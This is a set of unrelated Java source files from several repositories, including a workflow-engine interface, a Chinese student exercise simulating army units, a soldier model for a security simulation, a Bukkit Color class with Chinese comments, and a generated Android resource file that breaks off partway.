import com.alibaba.smart.framework.engine.hook.LifeCycleHook;
import com.alibaba.smart.framework.engine.model.assembly.ExtensionElementContainer;
/**
* @author 高海军 帝奇 2016.11.11
* @author ettear 2016.04.13
*/
public interface PvmElement<M extends ExtensionElementContainer> extends LifeCycleHook {
M getModel();
}
| alibaba/SmartEngine | core/src/main/java/com/alibaba/smart/framework/engine/pvm/PvmElement.java |
65,508 | package homework.week10;
/*
3、功能:设计一组类和接口,满足如下要求:(编译成功即可)
a.游戏模拟:兵种包括轰炸机、直升机、重型坦克、轻型坦克、音波坦克、步兵、飞行兵
b.轰炸机、直升机、飞行兵属于空军;步兵、轻型坦克、重型坦克属于陆军,音波坦克属于水陆两栖;
(提示:设计时,音波坦克内有标记inWater,在构造时填入,若为true,则表示目前音波坦克在水中,否则就是在陆地上)
c.轻型坦克、步兵只能攻击陆军,音波坦克只能攻击空军,轰炸机可攻击陆军、海军;重型坦克可攻击陆军、空军,直升机、飞行兵可攻击海军、陆军、空军;
并验证设计效果。(即向兵种变量填入海/陆/空军兵种,检测a.attack(b)的输出)
*/
interface 陆军 {
} // 陆军标签
interface 空军 {
} // 空军标签
interface 海军 {
} // 空军标签
interface 海路两栖 extends 海军, 空军{ // 由于可以在陆地或海洋,故需要能获得该兵种的位置标记
boolean isInWater();
}
interface 可攻击陆军 { // 可以攻击陆军属性标签
default void attack(陆军 x) {
System.out.println("攻击陆军");
}
}
interface 可攻击空军 { // 可以攻击空军属性标签
default void attack(空军 x) {
System.out.println("攻击空军");
}
}
interface 可攻击海军 { // 可以攻击空军属性标签
default void attack(海军 x) {
System.out.println("攻击海军");
}
}
public class T4 {
}
abstract class 兵种{
private String type;
public 兵种(String type){
this.type = type;
}
public abstract void attack(兵种 x);
public String attackInfo(兵种 x) {
return type + " 遇见 " + x;
}
public String toString() {
return type;
}
}
abstract class 飞行器 extends 兵种 implements 空军{
public 飞行器(String type){
super(type);
}
}
abstract class 坦克 extends 兵种 { // 坦克基类
public 坦克(String n) {
super(n);
}
}
abstract class 士兵 extends 兵种 { // 士兵基类
public 士兵(String n) {
super(n);
}
}
class 轰炸机 extends 飞行器 implements 可攻击陆军, 可攻击海军{
public 轰炸机(){
super("轰炸机");
}
@Override
public void attack(兵种 x) {
System.out.println(attackInfo(x) + ": ");
if(x instanceof 海路两栖){
海路两栖 y = (海路两栖)x;
if(y.isInWater() == true){
attack((海军)x);
}else{
attack((陆军)x);
}
}else if(x instanceof 陆军){
attack((陆军)x);
}else if (x instanceof 海军)
attack((海军) x); // 此处是单型的海军
else
System.out.print("不能攻击");
}
} | Qingxian0/JXNU-Java-OOP | homework/week10/T4.java |
65,509 | package thu.infosecurity.simulate.model;
//import javafx.util.Pair;
import com.sun.tools.javac.util.Pair;
import java.awt.*;
import java.util.Set;
/**
*
* Created by forest on 2017/5/15.
* Revised by forest on 2017/6/12
*/
public class Soldier {
/*基本信息*/
private int ID; //ID
private String name; //姓名
private Point position; //坐标
/*用于区分敌人的对称秘钥*/
private String DESKey; //用于区分敌我士兵的对称秘钥
/*公私钥信息*/
private String puKey; //公钥
private String prKey; //私钥
/*秘钥共享信息*/
//private String shareKey; //格式为:1,45 因此需要手动按照,讲两个数据提取出来
private Pair<Integer, Integer> shareKey;
/*访问控制*/
private String secretLevel; //采用BLP模型,分文秘密'S',机密'C',绝密'T'三个等级
private Set<String> range; //海军'S',陆军'G',空军'A'
public static void main(String[] args){
System.out.println("helloworld");
}
public int getID() {
return ID;
}
public void setID(int ID) {
this.ID = ID;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Point getPosition() {
return position;
}
public void setPosition(Point position) {
this.position = position;
}
public String getPuKey() {
return puKey;
}
public void setPuKey(String puKey) {
this.puKey = puKey;
}
public String getPrKey() {
return prKey;
}
public void setPrKey(String prKey) {
this.prKey = prKey;
}
public Pair<Integer, Integer> getShareKey() {
return shareKey;
}
public void setShareKey(Pair<Integer, Integer> shareKey) {
this.shareKey = shareKey;
}
public String getSecretLevel() {
return secretLevel;
}
public void setSecretLevel(String secretLevel) {
this.secretLevel = secretLevel;
}
public Set<String> getRange() {
return range;
}
public void setRange(Set<String> range) {
this.range = range;
}
/*201706.12添加:获得军衔*/
public String getTitle(){
if (secretLevel.equals("S")) {
return "三级士兵";
}
if (secretLevel.equals("C")) {
return "二级士兵";
}
if (secretLevel.equals("T")) {
return "一级士兵";
}
return "列兵";
}
public void setDESKey(String DESKey) {
this.DESKey = DESKey;
}
public String getDESKey() {
return DESKey;
}
@Override
public String toString() {
return "Soldier{" +
"ID=" + ID +
", name='" + name + '\'' +
", position=" + position +
", DESKey='" + DESKey + '\'' +
", puKey='" + puKey + '\'' +
", prKey='" + prKey + '\'' +
", shareKey=" + shareKey +
", secretLevel='" + secretLevel + '\'' +
", range=" + range +
'}';
}
}
| NetworkInfoSecurity/MilitarySimulateSystem | src/thu/infosecurity/simulate/model/Soldier.java |
65,510 | package org.bukkit;
import com.google.common.base.Preconditions;
import com.google.common.collect.ImmutableMap;
import java.util.Arrays;
import java.util.Map;
import java.util.Objects;
import org.bukkit.configuration.serialization.ConfigurationSerializable;
import org.bukkit.configuration.serialization.SerializableAs;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
/**
* 这是一个调色板的容器。该类是不可更改的; 使用set方法可以返回一个新的自定义颜色。
* 这里颜色名字的列表为 HTML4 标准色,
* 但是随时可能更改
*/
@SerializableAs("Color")
public final class Color implements ConfigurationSerializable {
private static final int BIT_MASK = 0xff;
private static final int DEFAULT_ALPHA = 255;
/**
* 白色,或(R,G,B) 表示为 0xFF,0xFF,0xFF)
*/
public static final Color WHITE = fromRGB(0xFFFFFF);
/**
* 银色,或(R,G,B) 表示为 0xC0,0xC0,0xC0)
*/
public static final Color SILVER = fromRGB(0xC0C0C0);
/**
* 灰色,或(R,G,B) 表示为 0x80,0x80,0x80)
*/
public static final Color GRAY = fromRGB(0x808080);
/**
* 黑色,或(R,G,B) 表示为 0x00,0x00,0x00)
*/
public static final Color BLACK = fromRGB(0x000000);
/**
* 红色,或(R,G,B) 表示为 0xFF,0x00,0x00)
*/
public static final Color RED = fromRGB(0xFF0000);
/**
* 栗色,或(R,G,B) 表示为 0x80,0x00,0x00)
*/
public static final Color MAROON = fromRGB(0x800000);
/**
* 黄色,或(R,G,B) 表示为 0xFF,0xFF,0x00)
*/
public static final Color YELLOW = fromRGB(0xFFFF00);
/**
* 橄榄色,或(R,G,B) 表示为 0x80,0x80,0x00)
*/
public static final Color OLIVE = fromRGB(0x808000);
/**
* 黄绿色,或(R,G,B) 表示为 0x00,0xFF,0x00)
*/
public static final Color LIME = fromRGB(0x00FF00);
/**
* 绿色,或(R,G,B) 表示为 0x00,0x80,0x00)
*/
public static final Color GREEN = fromRGB(0x008000);
/**
* 浅绿,或(R,G,B) 表示为 0x00,0xFF,0xFF)
*/
public static final Color AQUA = fromRGB(0x00FFFF);
/**
* 蓝绿色,或(R,G,B) 表示为 0x00,0x80,0x80)
*/
public static final Color TEAL = fromRGB(0x008080);
/**
* 蓝色,或(R,G,B) 表示为 0x00,0x00,0xFF)
*/
public static final Color BLUE = fromRGB(0x0000FF);
/**
* 海军色,或(R,G,B) 表示为 0x00,0x00,0x80)
*/
public static final Color NAVY = fromRGB(0x000080);
/**
* 樱红色,或(R,G,B) 表示为 0xFF,0x00,0xFF)
*/
public static final Color FUCHSIA = fromRGB(0xFF00FF);
/**
* 紫色,或(R,G,B) 表示为 0x80,0x00,0x80)
*/
public static final Color PURPLE = fromRGB(0x800080);
/**
* 橙色,或(R,G,B) 表示为 0xFF,0xA5,0x00)
*/
public static final Color ORANGE = fromRGB(0xFFA500);
private final byte alpha;
private final byte red;
private final byte green;
private final byte blue;
/**
* Creates a new Color object from an alpha, red, green, and blue
*
* @param alpha integer from 0-255
* @param red integer from 0-255
* @param green integer from 0-255
* @param blue integer from 0-255
* @return a new Color object for the alpha, red, green, blue
* @throws IllegalArgumentException if any value is strictly {@literal >255 or <0}
*/
@NotNull
public static Color fromARGB(int alpha, int red, int green, int blue) throws IllegalArgumentException {
return new Color(alpha, red, green, blue);
}
/**
* 用 红,绿,蓝 创建一个新的颜色对象
*
* @param red integer 取值0-255
* @param green integer 取值 0-255
* @param blue integer 取值 0-255
* @return 一个RGB颜色对象
* @throws IllegalArgumentException if any value is strictly {@literal >255 or <0}
*/
@NotNull
public static Color fromRGB(int red, int green, int blue) throws IllegalArgumentException {
return new Color(DEFAULT_ALPHA, red, green, blue);
}
/**
* 用 蓝,绿,红 创建一个新的颜色对象
*
* @param blue integer 取值 0-255
* @param green integer 取值 0-255
* @param red integer 取值 0-255
* @return a new Color object for the red, green, blue
* @throws IllegalArgumentException 任何一个参数超出 {@literal >255 or <0} 范围
*/
@NotNull
public static Color fromBGR(int blue, int green, int red) throws IllegalArgumentException {
return new Color(DEFAULT_ALPHA, red, green, blue);
}
/**
* 从一个RGB整数中创建一个新的颜色对象,该对象包含最低24bits
*
* @param rgb the integer storing the red, green, and blue values
* @return a new color object for specified values
* @throws IllegalArgumentException if any data is in the highest order 8
* bits
*/
@NotNull
public static Color fromRGB(int rgb) throws IllegalArgumentException {
Preconditions.checkArgument((rgb >> 24) == 0, "Extraneous data in: %s", rgb);
return fromRGB(rgb >> 16 & BIT_MASK, rgb >> 8 & BIT_MASK, rgb & BIT_MASK);
}
/**
* Creates a new color object from an integer that contains the alpha, red,
* green, and blue bytes.
*
* @param argb the integer storing the alpha, red, green, and blue values
* @return a new color object for specified values
*/
@NotNull
public static Color fromARGB(int argb) {
return fromARGB(argb >> 24 & BIT_MASK, argb >> 16 & BIT_MASK, argb >> 8 & BIT_MASK, argb & BIT_MASK);
}
/**
* Creates a new color object from an integer that contains the blue,
* green, and red bytes in the lowest order 24 bits.
*
* @param bgr the integer storing the blue, green, and red values
* @return a new color object for specified values
* @throws IllegalArgumentException if any data is in the highest order 8
* bits
*/
@NotNull
public static Color fromBGR(int bgr) throws IllegalArgumentException {
Preconditions.checkArgument((bgr >> 24) == 0, "Extrenuous data in: %s", bgr);
return fromBGR(bgr >> 16 & BIT_MASK, bgr >> 8 & BIT_MASK, bgr & BIT_MASK);
}
private Color(int red, int green, int blue) {
this(DEFAULT_ALPHA, red, green, blue);
}
private Color(int alpha, int red, int green, int blue) {
Preconditions.checkArgument(alpha >= 0 && alpha <= BIT_MASK, "Alpha[%s] is not between 0-255", alpha);
Preconditions.checkArgument(red >= 0 && red <= BIT_MASK, "Red[%s] is not between 0-255", red);
Preconditions.checkArgument(green >= 0 && green <= BIT_MASK, "Green[%s] is not between 0-255", green);
Preconditions.checkArgument(blue >= 0 && blue <= BIT_MASK, "Blue[%s] is not between 0-255", blue);
this.alpha = (byte) alpha;
this.red = (byte) red;
this.green = (byte) green;
this.blue = (byte) blue;
}
/**
* Gets the alpha component
*
* @return alpha component, from 0 to 255
*/
public int getAlpha() {
return BIT_MASK & alpha;
}
/**
* Creates a new Color object with specified component
*
* @param alpha the alpha component, from 0 to 255
* @return a new color object with the red component
*/
@NotNull
public Color setAlpha(int alpha) {
return fromARGB(alpha, getRed(), getGreen(), getBlue());
}
/**
* Gets the red component
*
* @return red component, from 0 to 255
*/
public int getRed() {
return BIT_MASK & red;
}
/**
* Creates a new Color object with specified component
*
* @param red the red component, from 0 to 255
* @return a new color object with the red component
*/
@NotNull
public Color setRed(int red) {
return fromARGB(getAlpha(), red, getGreen(), getBlue());
}
/**
* Gets the green component
*
* @return green component, from 0 to 255
*/
public int getGreen() {
return BIT_MASK & green;
}
/**
* Creates a new Color object with specified component
*
* @param green the red component, from 0 to 255
* @return a new color object with the red component
*/
@NotNull
public Color setGreen(int green) {
return fromARGB(getAlpha(), getRed(), green, getBlue());
}
/**
* Gets the blue component
*
* @return blue component, from 0 to 255
*/
public int getBlue() {
return BIT_MASK & blue;
}
/**
* Creates a new Color object with specified component
*
* @param blue the red component, from 0 to 255
* @return a new color object with the red component
*/
@NotNull
public Color setBlue(int blue) {
return fromARGB(getAlpha(), getRed(), getGreen(), blue);
}
/**
*
* @return An integer representation of this color, as 0xRRGGBB
*/
public int asRGB() {
return getRed() << 16 | getGreen() << 8 | getBlue();
}
/**
* Gets the color as an ARGB integer.
*
* @return An integer representation of this color, as 0xAARRGGBB
*/
public int asARGB() {
return getAlpha() << 24 | getRed() << 16 | getGreen() << 8 | getBlue();
}
/**
* Gets the color as an BGR integer.
*
* @return An integer representation of this color, as 0xBBGGRR
*/
public int asBGR() {
return getBlue() << 16 | getGreen() << 8 | getRed();
}
/**
* Creates a new color with its RGB components changed as if it was dyed
* with the colors passed in, replicating vanilla workbench dyeing
*
* @param colors The DyeColors to dye with
* @return A new color with the changed rgb components
*/
// TODO: Javadoc what this method does, not what it mimics. API != Implementation
@NotNull
public Color mixDyes(@NotNull DyeColor... colors) {
Preconditions.checkArgument(colors != null && Arrays.stream(colors).allMatch(Objects::nonNull), "DyeColor cannot be null or contain null values");
Color[] toPass = new Color[colors.length];
for (int i = 0; i < colors.length; i++) {
toPass[i] = colors[i].getColor();
}
return mixColors(toPass);
}
/**
* Creates a new color with its RGB components changed as if it was dyed
* with the colors passed in, replicating vanilla workbench dyeing.
*
* <b>Note that this method does not currently take into account alpha
* components.</b>
*
* @param colors The colors to dye with
* @return A new color with the changed rgb components
*/
// TODO: Javadoc what this method does, not what it mimics. API != Implementation
@NotNull
public Color mixColors(@NotNull Color... colors) {
Preconditions.checkArgument(colors != null && Arrays.stream(colors).allMatch(Objects::nonNull), "Colors cannot be null");
int totalRed = this.getRed();
int totalGreen = this.getGreen();
int totalBlue = this.getBlue();
int totalMax = Math.max(Math.max(totalRed, totalGreen), totalBlue);
for (Color color : colors) {
totalRed += color.getRed();
totalGreen += color.getGreen();
totalBlue += color.getBlue();
totalMax += Math.max(Math.max(color.getRed(), color.getGreen()), color.getBlue());
}
float averageRed = totalRed / (colors.length + 1);
float averageGreen = totalGreen / (colors.length + 1);
float averageBlue = totalBlue / (colors.length + 1);
float averageMax = totalMax / (colors.length + 1);
float maximumOfAverages = Math.max(Math.max(averageRed, averageGreen), averageBlue);
float gainFactor = averageMax / maximumOfAverages;
return Color.fromRGB((int) (averageRed * gainFactor), (int) (averageGreen * gainFactor), (int) (averageBlue * gainFactor));
}
@Override
public boolean equals(Object o) {
if (!(o instanceof Color)) {
return false;
}
final Color that = (Color) o;
return this.alpha == that.alpha && this.blue == that.blue && this.green == that.green && this.red == that.red;
}
@Override
public int hashCode() {
return asARGB() ^ Color.class.hashCode();
}
@Override
@NotNull
public Map<String, Object> serialize() {
return ImmutableMap.of(
"ALPHA", getAlpha(),
"RED", getRed(),
"BLUE", getBlue(),
"GREEN", getGreen()
);
}
@SuppressWarnings("javadoc")
@NotNull
public static Color deserialize(@NotNull Map<String, Object> map) {
return fromARGB(
asInt("ALPHA", map, DEFAULT_ALPHA),
asInt("RED", map),
asInt("GREEN", map),
asInt("BLUE", map)
);
}
private static int asInt(@NotNull String string, @NotNull Map<String, Object> map) {
return asInt(string, map, null);
}
private static int asInt(@NotNull String string, @NotNull Map<String, Object> map, @Nullable Object defaultValue) {
Object value = map.getOrDefault(string, defaultValue);
if (value == null) {
throw new IllegalArgumentException(string + " not in map " + map);
}
if (!(value instanceof Number)) {
throw new IllegalArgumentException(string + '(' + value + ") is not a number");
}
return ((Number) value).intValue();
}
@Override
public String toString() {
return "Color:[argb0x" + Integer.toHexString(asARGB()).toUpperCase() + "]";
}
}
| BukkitAPI-Translation-Group/Chinese_BukkitAPI | BukkitApi/org/bukkit/Color.java |
65,511 | /* AUTO-GENERATED FILE. DO NOT MODIFY.
*
* This class was automatically generated by the
* aapt tool from the resource data it found. It
* should not be modified by hand.
*/
package com.itau.jingdong;
public final class R {
public static final class anim {
public static final int down_in=0x7f040000;
public static final int down_out=0x7f040001;
public static final int layout_alpha_in=0x7f040002;
public static final int layout_alpha_out=0x7f040003;
public static final int loading_rotate=0x7f040004;
public static final int push_down_in=0x7f040005;
public static final int push_down_out=0x7f040006;
public static final int push_left_in=0x7f040007;
public static final int push_left_out=0x7f040008;
public static final int push_right_in=0x7f040009;
public static final int push_right_out=0x7f04000a;
public static final int slide_down=0x7f04000b;
public static final int slide_up=0x7f04000c;
public static final int splash_fade_in=0x7f04000d;
public static final int splash_fade_out=0x7f04000e;
public static final int splash_loading=0x7f04000f;
}
public static final class array {
/** JazzyViewPager
*/
public static final int jazzy_effects=0x7f0b0000;
}
public static final class attr {
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int centered=0x7f010005;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int fadeEnabled=0x7f010001;
/** Color of the filled circle that represents the current page.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int fillColor=0x7f010009;
/** <p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int outlineColor=0x7f010003;
/** <p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int outlineEnabled=0x7f010002;
/** Color of the filled circles that represents pages.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int pageColor=0x7f01000a;
/** Radius of the circles. This is also the spacing between circles.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int radius=0x7f01000b;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int selectedColor=0x7f010006;
/** Whether or not the selected indicator snaps to the circles.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int snap=0x7f01000c;
/** Color of the open circles.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int strokeColor=0x7f01000d;
/** <p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int strokeWidth=0x7f010007;
/** <p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>standard</code></td><td>0</td><td></td></tr>
<tr><td><code>tablet</code></td><td>1</td><td></td></tr>
<tr><td><code>cubein</code></td><td>2</td><td></td></tr>
<tr><td><code>cubeout</code></td><td>3</td><td></td></tr>
<tr><td><code>flipvertical</code></td><td>4</td><td></td></tr>
<tr><td><code>fliphorizontal</code></td><td>5</td><td></td></tr>
<tr><td><code>stack</code></td><td>6</td><td></td></tr>
<tr><td><code>zoomin</code></td><td>7</td><td></td></tr>
<tr><td><code>zoomout</code></td><td>8</td><td></td></tr>
<tr><td><code>rotateup</code></td><td>9</td><td></td></tr>
<tr><td><code>rotatedown</code></td><td>10</td><td></td></tr>
<tr><td><code>accordion</code></td><td>11</td><td></td></tr>
</table>
*/
public static final int style=0x7f010000;
/** Minimum width for the switch component
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int switchMinWidth=0x7f010015;
/** Minimum space between the switch and caption text
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int switchPadding=0x7f010016;
/** Default style for the Switch widget.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int switchStyle=0x7f01000e;
/** TextAppearance style for text displayed on the switch thumb.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int switchTextAppearance=0x7f010014;
/** Present the text in ALL CAPS. This may use a small-caps form when available.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int textAllCaps=0x7f01001e;
/** Text color.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColor=0x7f010017;
/** Color of the text selection highlight.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColorHighlight=0x7f01001b;
/** Color of the hint text.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColorHint=0x7f01001c;
/** Color of the links.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
*/
public static final int textColorLink=0x7f01001d;
/** Text to use when the switch is in the unchecked/"off" state.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int textOff=0x7f010012;
/** Text to use when the switch is in the checked/"on" state.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int textOn=0x7f010011;
/** Size of the text. Recommended dimension type for text is "sp" for scaled-pixels (example: 15sp).
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int textSize=0x7f010018;
/** Style (bold, italic, bolditalic) for the text.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>bold</code></td><td>1</td><td></td></tr>
<tr><td><code>italic</code></td><td>2</td><td></td></tr>
</table>
*/
public static final int textStyle=0x7f010019;
/** Drawable to use as the "thumb" that switches back and forth.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int thumb=0x7f01000f;
/** Amount of padding on either side of text within the switch thumb.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int thumbTextPadding=0x7f010013;
/** Drawable to use as the "track" that the switch thumb slides within.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int track=0x7f010010;
/** Typeface (normal, sans, serif, monospace) for the text.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>sans</code></td><td>1</td><td></td></tr>
<tr><td><code>serif</code></td><td>2</td><td></td></tr>
<tr><td><code>monospace</code></td><td>3</td><td></td></tr>
</table>
*/
public static final int typeface=0x7f01001a;
/** <p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
*/
public static final int unselectedColor=0x7f010008;
/** Style of the circle indicator.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
*/
public static final int vpiCirclePageIndicatorStyle=0x7f010004;
}
public static final class bool {
public static final int default_circle_indicator_centered=0x7f070000;
public static final int default_circle_indicator_snap=0x7f070001;
}
public static final class color {
/** 蜜色
*/
